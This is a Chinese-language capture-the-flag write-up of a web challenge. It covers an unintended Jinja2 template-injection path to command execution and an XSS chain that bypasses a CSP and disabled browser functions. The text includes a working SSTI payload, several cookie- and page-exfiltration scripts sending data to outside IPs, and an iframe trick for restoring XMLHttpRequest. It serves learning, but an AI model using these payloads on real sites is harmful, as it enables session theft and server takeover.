中秋忆一道XSS题目

 

国庆中秋期间闲的发呆,在整理之前做过的题目的时候,发现了一道当时被非预期的XSS题目,因为当时是被非预期所以拿到了root权限,本地完整的复现了当时的环境,整个题目解下来还是能学到一些知识的,如果不是被非预期感觉题目质量还是不错的。最后写成文章分享给大家,大佬们轻喷。

 

0x01 回忆题目功能

原题 :湖湘杯 web Xmeo

0x1 登陆注册界面

简洁的登陆界面,拥有注册和登陆功能,注册时用户名不能重复。

0x2 添加修改查看描述

这里有个ADD按钮可以添加描述,但是必须选择否才能修改和查看这一点我也不知道是为什么。

修改功能是重新弹出这个界面,然而查看界面则是直接将添加的描述信息打印出来。

0x3 联系管理员

按照要求填过所有的空之后会反回 Submit successfully administrator will read it soon! 从这个点也能看出来这是个标准的xss题目,但是当时已经拿到了flag,就没在纠结利用xss怎么解这道题目。

 

0x02 非预期解

我们从非预期解开始回忆,当时拿到题目,发现能够查看添加的描述

这时我们可以联想后台的代码逻辑

def show(args):
    ......
    return render_template_string(content)

因为 render_template_string 会渲染模板,将会解析{{}}内的表达式,因此我们可以运用标准的python沙箱逃逸方法执行python 语句并实现任意命令执行

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}

我们通过上述命令获取服务系统的root权限,如下图所示,

下面进入本篇文章的主要内容,通过xss获取其中暗含的flag

 

0x03 利用XSS漏洞获取flag

0x1 暗藏玄机

如果不是非预期我还不知道这是道xss题目,通过查看进程了解到其中运行着phantomjs 进程执行着auto.js,auto.js中是标准的phantomjs 模拟浏览器访问,其中flag也在auto.js中包含着,利用模板注入拿flag也是通过该文件获取。

发现这个之后我心里一直有个梗,想把它用正解解出来。

0x2 揭开面纱

1. js安全防护

好了我开始在中秋佳节想着这个题目怎么做,一开始想着通过image标签等常见xss技巧获取管理员cookie,比如如下方法

var img = document.createElement("img");
img.src = "http://1.1.1.1/log?"+escape(document.cookie);
document.body.appendChild(img);

发现根本不好使,之后找到了罪魁祸首,在js中禁用了一些关键函数

常见的XMLHttpRequest ,image标签等都被禁用了,回头来又发现了其他防护

2. 浏览器安全防护

响应头中返回了Content-Security-Policy: script-src 'self';

这就意味着该网站不允许内联脚本执行,也就是直接嵌套在<script></script>中的代码不被执行,而<script src="http://ip"></script> src中的代码将被执行,而且必须保证是同源网站。
这个目的就很明显了,通过添加查看描述,可以在同源网站上添加任意javascript代码,这为之后的xss打下了基础。

0x3. 柳暗花明

尝试获取了当前页面的cookie

window['locat'+'ion'].href = "http://1.1.1.1/?"+document.cookie;

在向管理员提交留言时要注意,必须是127.0.0.1的ip,在复现的时候吃了一大亏,一直没成功,最后才发现时同源策略导致script代码没有执行。

</div>
<script src=http://127.0.0.1:7443/show/591b111c-096d-11eb-97c4-0242ac110003></script>
<div>

无意中获取到了一个hit 尝试获取/admin 中的页面内容,必须使用ajax的方法读取其中的网页内容

0x4. 层层递进

既然有这么多防护,那么就想办法去绕过禁用了img和XMLHttpRequest,
这个其实在之前的ctf题目中有出现过比较常见的绕过方法是,利用iframe子窗口中的函数。

var ifm = document.createElement('iframe');
ifm.setAttribute('src','/admin/');
document.body.appendChild(ifm);
window.XMLHttpRequest = window.top.frames[0].XMLHttpRequest;
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:7443/admin/",false);
xhr.send();
c=xhr.responseText;
window.location.href="http://192.168.0.134:8889/?c="+c;

利用js代码创建iframe 标签设置其中的网页url,利用iframe中的XMLHttpRequest 发送请求给admin 页面并获取页面内容通过location.href 发送至服务器。注意这里的后台请求url为 http://127.0.0.1:7443/admin/ 一定要带/因为flask强制识别
因为片段太长所以通过如下方法进行绕过

获取了新的hint

This website also have another page named mysecrecy_directory......

0x5. 终极之战

这个目的就很清楚了获取mysecrecy_directory目录下的cookie即可

var f= document.createElement('iframe');
f.setAttribute('src','/admin/mysecrecy_directory');
document.body.appendChild(f);
f.onload = function(){
var a= f.contentWindow.document.cookie;
location.href = "http://192.168.0.134:8889/?"+a;}

和之前一样,修改src为/admin/mysecrecy_directory,在iframe加载的同时获取iframe中的cookie并利用href跳转获取flag

 

0x04 总结

总算是了结了心结,同时总结了xss的绕过技巧,绕过js delete禁用、绕过csp安全策略、利用xss从127.0.0.1访问网站并获取内容,利用xss读取当前网站任意url cookie等技术,这个十一收获还是有的。

(完)